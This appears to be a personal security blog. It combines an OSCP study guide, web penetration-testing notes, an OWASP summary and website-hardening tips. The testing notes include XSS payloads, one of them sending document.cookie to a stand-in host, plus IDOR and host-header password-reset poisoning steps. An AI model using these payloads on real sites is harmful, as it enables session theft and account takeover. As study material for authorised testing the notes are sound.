Tuesday, March 19, 2019

OSCP Guide - (By Rajesh)

 Things Required for OSCP Preparation
A ‘NEVER GIVE UP’ attitude
Basic Linux usage skills
A bit of programming knowledge
Ability to read and understand the flow of public exploits
Creative hacker way of thinking
Lots of interest, patience, and enthusiasm
We will divide the OSCP journey into 2 phases:

Pre-Enrolment
Post Enrolment
Pre-Enrolment
If you are not a newbie in Pen testing and aware of buffer overflow exploitation, you can skip this section and start enrolling.

For the rest, you need to cover the following aspects:

Basics
Get handy in using Linux. If you are new to Linux, refer the Linux command guide http://linuxcommand.org. Practice all the common commands, and refer the man page for each of these commands.
Pro-tip: If you have more time in your hands and want to Learn Linux in a fun way, you can try the wargames here http://overthewire.org/wargames/

If you are not aware of programming languages, it is highly recommended to learn one. I would recommend learning Python. An awesome simple tutorial by Vivek Ramachandran is preferable http://www.pentesteracademy.com/course?id=1
Check out various videos on YouTube on basic concepts such as port-scanning, web application testing, etc. Sometimes research on simple concepts will give good ideas on enumeration, for e.g., How SSH works, How service runs on ports, How Sockets works etc.

Metasploit

Metasploit is a very powerful tool and it is necessary for all the pen testers to know how to use it. Especially the Metasploit post-exploitation modules. Refer to the following links:

Vivek Ramachandran’s Metasploit Megaprimer Videos: http://www.securitytube.net/groups?operation=view&groupId=10

Metasploit unleashed by Offensive Security:

https://www.offensive-security.com/metasploit-unleashed/

Usage of Metasploit in the exam is limited to only one machine, but still, you can practice it in labs to know about the tool in depth.

Buffer Overflow

Buffer overflow is a very important concept you should practice. Because, if you are good at exploiting buffer overflows, you are sure to get the maximum point machine in the practical exam. But don’t worry if you know nothing about buffer overflows. The following steps will make you not only understand the concept of a buffer overflow, but you can also do it by yourself.

1. A quick intro on buffer overflow.

https://www.youtube.com/watch?v=1S0aBV-Waeo

What is Buffer Overflow? (very clearly explained). After watching this video, you will get an idea on the concept behind buffer overflow. Also, will increase your urge to learning buffer overflow.

2. Assembly language primer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=5

Don’t get bored after seeing Assembly language. Just go through the first 2 videos in this video series. That is enough for understanding the memory layout.

3. Buffer Overflow Megaprimer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=4 .

In-depth video of buffer overflow where its explained in a very detailed way.

4. Exploit Research Megaprimer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=7

Real-time Exploitation of buffer overflow which will be very interesting, where exploitation is explained in stepwise clearly. You can even try it yourself as mentioned in the video for your practice. It’s enough to go through the first 5 videos. SEH Based buffer overflow is not required for OSCP.

If you follow the above steps, you will be able to do exploitation with buffer overflow by yourself 100%.

Many people shy away from preparing for buffer overflows because it helps to exploit only one machine in the exam. But still, it’s a very important and interesting concept. I have seen many people failing because of improper preparation on buffer overflows. Moreover, OSCP is not the target. All the things you learn here is for the real world.

Some Valuable Resources

These are some valuable resources which I found very useful in my OSCP Preparation. Many of them are now permanent reference resources even after I have cleared my OSCP.

Enumeration

http://www.0daysecurity.com/penetration-testing/enumeration.html

https://nmap.org/nsedoc/

https://www.youtube.com/watch?v=Hk-21p2m8YY

Shell Exploitation

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

https://netsec.ws/?p=331

Windows Privilege Escalation

http://www.fuzzysecurity.com/tutorials/16.html

https://www.youtube.com/watch?v=kMG8IsCohHA

https://www.youtube.com/watch?v=PC_iMqiuIRQ

https://github.com/GDSSecurity/Windows-Exploit-Suggester

Linux Privilege Escalation

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://www.youtube.com/watch?v=dk2wsyFiosg

Privilege escalation recon scripts:

http://www.securitysift.com/download/linuxprivchecker.py

http://pentestmonkey.net/tools/audit/unix-privesc-check

Research and document

OSCP is difficult – have no doubts about that! There is no spoon-feeding here. Refer to all the above references and do your own research on topics like service enumeration, penetration testing approaches, post exploitation, privilege escalation, etc. Remember, always take notes as text with a separate note.

POST ENROLLING

Knowledge and expert skills don’t come immediately to anyone. They must be worked upon. But first, you need to get started! So, if you are anywhere near the idea of attempting the OSCP, just enroll and get started. Once you are good with all the above pre-enrolling, you are fully ready to enroll for the OSCP.

The main thing in OSCP is the lab.

OSCP is not about clearing the exam. It’s all about working deeply on labs.

In General,

It’s not about the destination. It’s all about the journey.

So, it is recommended to take 2 or 3 months lab. 1 month lab will never be enough for learning. If you have enough time to work dedicatedly on weekdays, you can take 2 months. Else take 3 months minimum.

Once you enroll, you will be given a time where you will receive your materials and lab connectivity packs. Approximately 20 days from the date of enrolling.

The period before getting Lab Connections

This period could be used to test your research ideas on some other OSCP lab similar stuff.

Refer to the vulnhub machines in the following link.

http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html

The VMs in the above link are OSCP-like VMs. Generally, CTFs are different than the vulnerable machines in the OSCP labs. CTFs have a puzzle-like approach, whereas OSCP labs are the ones which will be like a real-world simulation.

The VMs in the above link will be like OSCP labs. You can start solving these VMs. For the vulnhub VMs, there are walkthroughs for each machine. You can try each machine first by yourself. Else read the walkthrough, understand it, and then try to implement the method again in the VMs.

Also, try this https://www.hackthebox.gr/

It is also a network which has machines like OSCP Labs.

Document all your steps and take notes of every new concept you learned.

Welcome to OSCP

You will get your training materials (in PDF), video materials, and lab connectivity pack via email. The link for the pdf and video will expire in 2 days. You should download and back it up before that. Check your lab connectivity as mentioned in the lab connectivity guide. Don’t start diving into labs immediately. Follow the below-given steps once you receive the email.

Go through the video material
Go through the pdf completely
Do the exercises in pdf and document it.
Most people only go through the video and then start labs. But that is the biggest mistake. The PDF has a lot more than what is mentioned in the videos. Do not feel bored when going through all the material and doing the exercises. Remember the proverb by Abraham Lincoln.

OSCP

The exercises in the PDF help in sharpening one’s axe. I found some useful tips and tricks whenever I used to get stuck in the lab exercises.

What’s more, you will get an additional 5 points for submitting exercise documentation.

Let the Hacking Begin

Now is the main part of OSCP. The labs. The lab environment consists of 55 machines each with a different approach and different difficulty level. The lab infra has 4 networks. Public, IT, Development, and Admin network. You will get direct access only to the public network. You need to unlock other networks by the secret keys obtained by proper post exploitation. You will be connected to other networks by port forwarding and proxy chaining. A lab is a place where you try out all your research ideas and various tools.

Before starting the lab machines, go through the buffer overflow exploitation in the video material 2-3 times and practice the same on your dedicated Windows 7 machine provided along with the lab machines. Same tools explained in the material will be there on your Windows 7 machine. Practice buffer overflow by following the same steps used by the instructor.

Exploiting a machine is a Systematic Process:

Find the open ports and services running on ports
Enumerate the services and the machine
Exploit the correct vulnerability and gain access
Do proper post exploitation enumeration
Privilege Escalation
For some machines, you will get direct admin/root/system access at the initial stage itself. But still, you need to do proper post exploitation enumeration on that machine. This is because in the labs the information gathered on post exploitation on one machine will be used to solve another one.

There are 4 main difficult machines in the OSCP lab called as pain, sufferance, humble and gh0st. its nature is as per the name. I gained a lot of confidence after solving these machines.

You need to give your maximum dedication in the labs. Do the research, lots and lots of research. Try all
kind of possibilities, try stupid things. Google is your friend. Always use Google at any point and at every machine. Google everything that is in front of you. You will experience lots and lots of pain, frustration, etc. Many times you may lose your patience. But NEVER GIVE UP!

Try Harder. If you get stuck and you don’t know how to proceed, you can visit offsec student forums

https://forums.offensive-security.com/

Log into you OS ID and navigate to lab machine discussion. You will find some useful hints.

Also, you can join a slack team https://netsecfocus.slack.com and request them to add you to the OSCP channel. You can get some useful ideas here.

But nowhere no one will give you a direct solution for any of the lab machines. You will only get a small hint and some suggestions. You must figure out the solution by yourself.

Remember, the enumeration is the key for OSCP. It took me 2 months to know the exact meaning of enumeration. Never get excited to exploit any machine at first. Do not follow the approach of monkey testing and blindly downloading and running the exploits. Trust me, this approach will make you fall into a rabbit hole. There will be some decoy vulnerabilities to trick you in the wrong direction.

So, what is the approach?

Only with proper enumeration, you can successfully exploit any target.

Do a full port scan on the target.
Refer fyodor’s defcon video on “nmap: scanning the internet” https://www.youtube.com/watch?v=Hk-21p2m8YY

Enumerate every port. Find what service is running. If you are unaware, simply google the port. Also refer to the below article.
http://www.0daysecurity.com/penetration-testing/enumeration.html

After understanding the target, now try to find vulnerabilities. Some target might be exploitable with more than 1 way
If you find a vulnerability, read about that vulnerability. Many of the exploits will not work without modification. So, learn the vulnerability and read the exploit carefully. Sometimes, there will be another manual way of exploiting the vulnerabilities instead of using public exploits. So, google a lot. Pages not listed under top will also have some useful stuffs. Refer all pages.

In some cases, the machine might be busy since other students will also be working. So, revert the machine and try again. Look for the attacks on the vulnerability online. There will be many blogs written on how to exploit that vulnerability.

Once you gain access to the system, always upgrade your shell. Enumerate well. Search for misconfigurations, credentials, try to use the credentials at whichever place possible.

It is not required to solve all the machines to take the exam. It’s for enhancing your pentest skills. I’d recommend getting at least 25+ targets and 2 of the four difficult ones. If you can’t solve these many target machines then you probably need to extend the labs and start working on it.

Document all your lab works and take notes of everything that you learned. Submitting the lab report will give you an additional 5 points.

The Exam

Once you are confident enough after working in the labs, you can take the exam. Make sure you schedule your exam date at least 1 month in advance.

You need proper sleep, food, and regular breaks during the exam. Because your brain needs to function 2-3 times more creatively and spontaneously than usual.

Grab all your notes, lab notes and make a revision before starting.

Metasploit usage is restricted in the exam. You should use it only once. So, use it wisely.

Never lose your patience and stay calm. Enumerate, enumerate, and enumerate. Never leave anything. Try all stupid things. Do not panic. Assume like you are working in the lab.

After completing the exam, you will be given 1 day to prepare the report and send them. There will be a report template in the reporting guide. You can use your own report as well. Read the offsec reporting guide carefully before starting the report and send them in the exact format and the way they are mentioned.

Tips for Exam

Be confident
Be very cool and calm
Never bother if you didn’t get access to one or two machines in short time as mentioned in other blogs
Enumerate well
Take regular breaks. Go for a small walk and get some fresh air.
Take screenshots and POCs immediately after each exploitation steps.
Submit the flags (local.txt & proof.txt) in the exam panel immediately once you retrieve them
I have seen many people failing in the exam once they lose their patience. So never get tensed. Always be calm and relaxed. TRY HARDER!

Conclusion

OSCP is not just a certification. It is an awesome journey which teaches you many things apart from a technical perspective. It will teach you to think creatively, develop a ton of patience and most of all you will ‘NEVER GIVE UP’.



(#1) Kioptrix: 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
(#2) FristiLeaks: 1.3 https://www.vulnhub.com/entry/fristileaks-13,133/
(#3) Stapler: 1 https://www.vulnhub.com/entry/stapler-1,150/
(#4) VulnOS: 2 https://www.vulnhub.com/entry/vulnos-2,147/
(#5) SickOs: 1.2 https://www.vulnhub.com/entry/sickos-12,144/
(#6) Brainpan: 1 ttps://www.vulnhub.com/entry/brainpan-1,51/
(#7) HackLAB: Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
(#8) /dev/random: scream https://www.vulnhub.com/entry/devrandom-scream,47/
(#9) pWnOS: 2.0 https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
(#10) SkyTower: 1 https://www.vulnhub.com/entry/skytower-1,96/

Related Security Test - XSS, IDOR, Host Header Attack

Information gathering:

1. site
2. subdomains -> virustotal.com
3. IP address -> ping any.com
4. Find the programming language of the website:
Google Search – site:any.com .jsp/aspx/php/asp/jspx...
Kali – whatweb any.com (and find X-Powered-By)
5. Open ports and Services:
nmap domain/ip
nmap ip -Pn (if ping probe is blocked by normal scan)
aggressive scan: nmap ip -sV (if blocking, append in last -Pn)
Detailed scan: nmap ip | nmap -sC ip
6. Servers info:
whatweb any.com or ssltest.com (in signature many more things)


intruder in burpsuite :

Attack type :– Sniper – (will apply payload on single parameter where payload apply)
Battering Ram – (One payload will apply in on the parameters)
upload payload and check for 200 status after browsing <- checked URL encoding
<- Uncheck URL encoding

XSS:
prompt.ml -> A website to test XSS with different challenges/payloads
Find parameter which is reflecting back –> test it manually or upload payload through the intruder
By intruder and loaded payload -> on 0 payloads, if it gets executed the length is small so the attacked payload will have a length greater than 0. or it may exist on lower length as well.

URL redirection -> <script>document.location.href=”http://bing.com”</script>
Phishing: <iframe src=”http://bing.com”><iframe>
cookie stealing: <script>alert(document.cookie)</script>
<script>document.location.href=”http://bing.com/p/?page =”+document.cookie</script>
Through File uploading -> if file upload option is available and file name is visible in source code after uploading(file name is reflecting) then it may be XSS. Apply payload of XSS on the name of file and check.

IDOR – Insecure Direct Object Reference

Login by account A. -> Edit Profile A. -> Capture User ID , suppose - abcd
Login by Account B -> Edit profile B -> pass used ID of A here and forward. -> Now check the changes in account A

User reference can be changed at URL





Host Header Attack: Open Redirection
Check the status code = 200, 201,202..or 300, 301,..(2XX or 3XX)
Below the get method:
1. Now capture the request -> Host: replace the real website to testing website like bing.com
If it is redirecting to the bing.com then there is a host header attack.
2. change realweb.com to bing.com and set X-Forwarded-Host to realweb.com
like – Host: bing.com
X-Forwarded-Host: realweb.com
3. Vice-versa of 2nd point

Host Header Attack: Web Cache Poising

4. Change the Host similar as above - Host: bing.com
In response, if it is visible in href: bing.com then there is web cache poising
In the browser, the response will be as a link. When it will be clicked on UI, it will redirect to bing.com

Host Header Attack: Password Reset Page

5. Suppose a website is sending password reset link for password reset

An attacker changed the host from this link on mail. Now when the user tries to change the password, this won’t work(host in url is different) but the attacker will get the requested link(password reset link) in the log and he/she can change user’s password by manually changing the url host from that link.
                        Reference- (These contents are part of notes prepared by me - from multiple sources. Major parts are taken from Vikash Chaudhary course from Udemy(for more details visit this course on Udemy))

Security Related Stuff: Notes


Edit something through inspect element= >
Ø  document.body.contentEditable=true
<. true

OWASP Top 10 Application Security Risks - 2017

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.
Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc.
Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

Linux Commands:

Check os version in Linux:

·         $ cat /etc/os-release -  Sample output:
               NAME="Ubuntu"
VERSION="17.10 (Artful Aardvark)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 17.10"
VERSION_ID="17.10"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=artful
UBUNTU_CODENAME=artful

·         $ lsb_release –a :- The lsb_release command gives LSB (Linux Standard Base) and distribution-specific information on the CLI.
·         $ hostnamectl   :- Use hostnamectl command to query and change the system hostname and related settings. Just type the this command to check OS name and Linux kernel version.
·         $ uname –r   :- Just print Linux kernel version.  Can print other info like:
-s--kernel-name
Print the kernel name.
-n--nodename
Print the network node hostname.
-r--kernel-release
Print the kernel release.
-v--kernel-version
Print the kernel version.
-m--machine
Print the machine hardware name.
-p--processor
Print the processor type, or "unknown".
-i--hardware-platform
Print the hardware platform, or "unknown".
-o--operating-system
Print the operating system.
--help
Display a help message, and exit.
--version
Display version information, and exit.


Wappalyzer   - a tool used with the browser (chrome/Mozilla) to show the technologies used in the website.


Defense in Depth: From Udemy - >
            States security should be at every layer.


Host Header:
Tools to detect and show this header:
Browser plugins -> Live HTTP headers, HTTP Fox
Browser Developer Tools
Proxy Tools ->   Fiddler, Charles, Burp, Wireshark

HTTP 1.1 also allows you to have persistent connections which means that you can have more than one request/response on the same HTTP connection.
In HTTP 1.0 you had to open a new connection for each request/response pair. And after each response, the connection would be closed. This leads to some big efficiency problems because of TCP Slow Start.

GET / HTTP/1.1
Host: www.blahblahblahblah.com
This header is useful because it allows you to route a message through proxy servers, and also because your web server can distinguish between different sites on the same server.

·         Automated testing : Nettacker in Kali
                                                                 

                                         *Reference - contents are taken from multiple locations(will try to list later)

Tuesday, March 27, 2018

It seems like DATA WAR is going on... Be careful

In these days when data are used for affecting the government, elections, blackmailing the persons and other similar activities, seems like that data war started.And It is required to analyze the scenario on which points, data are collected by the companies. At every moment of life, we are leaving the trace and we can say companies are storing/steeling trace to use/misuse this information. Some companies have so many information about the person that they can do whatever they want.
I was creating Microsoft Azure account and at that time I went through the Microsoft Privacy Statement. People are neglecting the privacy policy but I think they should always read it before moving further.(https://privacy.microsoft.com/en-us/privacystatement)
I have copied some points from privacy policy about the data type which we are allowing or we are coerced to allow (Compulsion to access various services):

Microsoft Privacy Statement: Personal Data We Collect:
Name and contact data. We collect your first and last name, email address, postal address, phone number, and other similar contact data.
Credentials. We collect passwords, password hints, and similar security information used for authentication and account access.
Demographic data. We collect data about you such as your age, gender, country, and preferred language.
Payment data. We collect data necessary to process your payment if you make purchases, such as your payment instrument number (such as a credit card number), and the security code associated with your payment instrument.
Device and Usage data. We collect data about your device and how you and your device interact with Microsoft and our products. For example, we collect:
  • Product use data. We collect data about the features you use, the items you purchase, and the web pages you visit. This data includes your voice and text search queries or commands to Bing, Cortana, and our chat bots. This also includes the settings you select and the software configurations you use most.
  • Device, connectivity and configuration data. We collect data about your device and the network you use to connect to our products. It includes data about the operating systems and other software installed on your device, including product keys. It also includes IP address, device identifiers (such as the IMEI number for phones), regional and language settings.
  • Error reports and performance data. We collect data about the performance of the products and any problems you experience with them. This data helps us to diagnose problems in the products you use, and to improve our products and provide solutions. Depending on your product and settings, error reports (sometimes called “crash dumps”) can include data such as the type or severity of the problem, details of the software or hardware related to an error, contents of files you were using when an error occurred, and data about other software on your device.
  • Troubleshooting and Help Data. When you engage Microsoft for troubleshooting and help, we collect data about you and your hardware, software, and other details related to the incident. Such data includes contact or authentication data, the content of your chats and other communications with Microsoft, data about the condition of the machine and the application when the fault occurred and during diagnostics, and system and registry data about software installations and hardware configurations.
Interests and favorites. We collect data about your interests and favorites, such as the teams you follow in a sports app, the programming languages you prefer, the stocks you track in a finance app, or the favorite cities you add to a weather app. In addition to those you explicitly provide, your interests and favorites may also be inferred or derived from other data we collect.
Contacts and relationships. We collect data about your contacts and relationships if you use a Microsoft product to manage contacts, for example Outlook.com, or to communicate or interact with other people or organizations, for example Visual Studio Team Services.
Location data. For products with location-enhanced features, we collect data about your location, which can be either precise or imprecise. Precise location data can be Global Navigation Satellite System (GNSS) data (e.g., GPS), as well as data identifying nearby cell towers and Wi-Fi hotspots, we collect when you enable location-based products or features. Imprecise location data includes, for example, a location derived from your IP address or data that indicates where you are located with less precision, such as at a city or postal code level.
Content. We collect content of your files and communications when necessary to provide you with the products you use. For example, if you transmit a file using Skype to another Skype user, we need to collect the content of that file to display it to you and the other user as you direct. If you receive an email using Outlook.com, we need to collect the content of that email to deliver it to your inbox, display it to you, enable you to reply to it, and store it for you until you choose to delete it. Other data we collect to provide communication services to you include the:
  • subject line and body of an email,
  • text or other content of an instant message,
  • audio and video recording of a video message, and
  • audio recording and transcript of a voice message you receive or a text message you dictate.
Video. If you enter Microsoft Store locations or other facilities, or attend a Microsoft event, your image may be captured by our security cameras.
If you use Spend, at your direction, we may also collect payment card information, receipt data, or financial transaction data, to provide the service.
If you use Enterprise Online Services, Microsoft collects Customer Data (including content), Support Data, and Administrator Data, defined below in the Enterprise and Developer Products section.
We also collect information you provide to us and the content of messages you send to us, such as feedback and product reviews you write, or questions and information you provide for customer support. When you contact us, such as for customer support, phone conversations or chat sessions with our representatives may be monitored and recorded.
Product-specific sections below describe data collection practices applicable to use of those products.

Sunday, August 27, 2017

Some common steps for protecting websites: -

Apart from keeping platform up-to-date, installing SSL certificate, installing security plugins, providing password policy stronger, restricting exe file upload etc some common steps should also be cared for protecting the websites.
1. We should restrict uploading of the ZIP file
ZIP and other compressed files can contain virus, Trojans, and other malware, in fact, it's rather common because putting the malware into a compressed archive is an easy way of bypassing your anti-virus/anti-malware software until the archive is decompressed. Even it is not uncommon for unscrupulous people to fake a Zip file. Let’s take virus.exe for the example. Rename the virus.exe file to virus.zip.exe and you have the default setting in Windows Explorer of hiding extensions of known file types, it would appear the file is called virus.zip. An unsuspecting user would think the file is a Zip file, even if it had the wrong icon. Double clicking it would execute the virus infected file.

2. File uploading location should be isolated
It should be isolated from other parts of Server and this location should not be in the root location. In this situation, virus/malware will not affect other part or have a minimal impact. This location should keep limited permissions as only those which are required.

3. Each publically accessible website should be isolated from other
With a system vulnerable to directory traversal, an attacker can make use of this vulnerability to step out of the root directory and access other parts of the file system. This might give the attacker the ability to view restricted files, or even more dangerous, allowing the attacker to execute powerful commands on the web server which can lead to a full compromise of the system.
Depending on how the website access is set up, the attacker will execute commands by impersonating himself as the user which is associated with “the website”. Therefore it all depends on what the website user has been given access to in the system. For more details have a look at this link- https://www.acunetix.com/websitesecurity/directory-traversal/

4. Web Application Firewall can be configured for protecting the web application.

L7LB – Layer 7 load balancer.

WAFs are designed to protect the web application. WAFs are a shielding safeguard intended to defend application accessed via the hypertext transfer protocol (HTTP). They are capable of preventing the attack that network firewall or intrusion prevention system cannot. WAFs sit in front of the web application, monitor application activity, and alert on or block traffic that is malicious or that does not comply with specific rules. The intention is to catch application level attack, such as SQL injection and cross-site scripting, along with attempts to manipulate web application behavior.

Disadvantages (If Web Application Firewall is not there):

After Scanning, attacker can exploit the website
An attacker can steal the user credentials.

Disadvantages (If Web Application Firewall is there):

Increase the possibility of DDOS attack – After implementation of WAF, every packet will be scanned (Not only payload but also deep scanning) so in real time scanning, Uploading and downloading speed can reduce. So denial of service attack is a possibility under it. And the client can face some problem during data submission.
In either instance, there is going to be a performance impact on the ability of the web server to serve concurrent requests. That goes without saying.
Given that, to maintain the ability to serve the same or a similar level of requests, either more web servers or more hardware is required.
To some degree, depending on the architecture of the application, this could potentially be mitigated using tools such as Varnish to cache static content, content which doesn’t need to be inspected by a WAF.
Advantages (If Web Application Firewall is there):
In these days, ransomware is the biggest threat of IT organization. So cyber security is more important than speed and we are configuring WAF (Web Application Firewall and reverse proxy) then security will improve.
As it will have the skill to analyze the payload of the packet and make choices depending on the real content, in addition, it provides content filtering abilities. Being able to analyze the whole network packet instead of only the network interfaces and addresses means they have more extensive logging abilities also, for example, program-specific commands, which provide tips that are useful for working with policy execution and security events.

5. Reverse Proxy server implementation:
A reverse proxy is a type of proxy server that retrieves resources on behalf of a client from one or more servers. These resources are then returned to the client like they originated from the Web server itself.

      After using the reverse proxy, the original IP (IP of the server where the website(s) is (are) hosted) will be invisible in client domain and it may be public or private IP.

References:-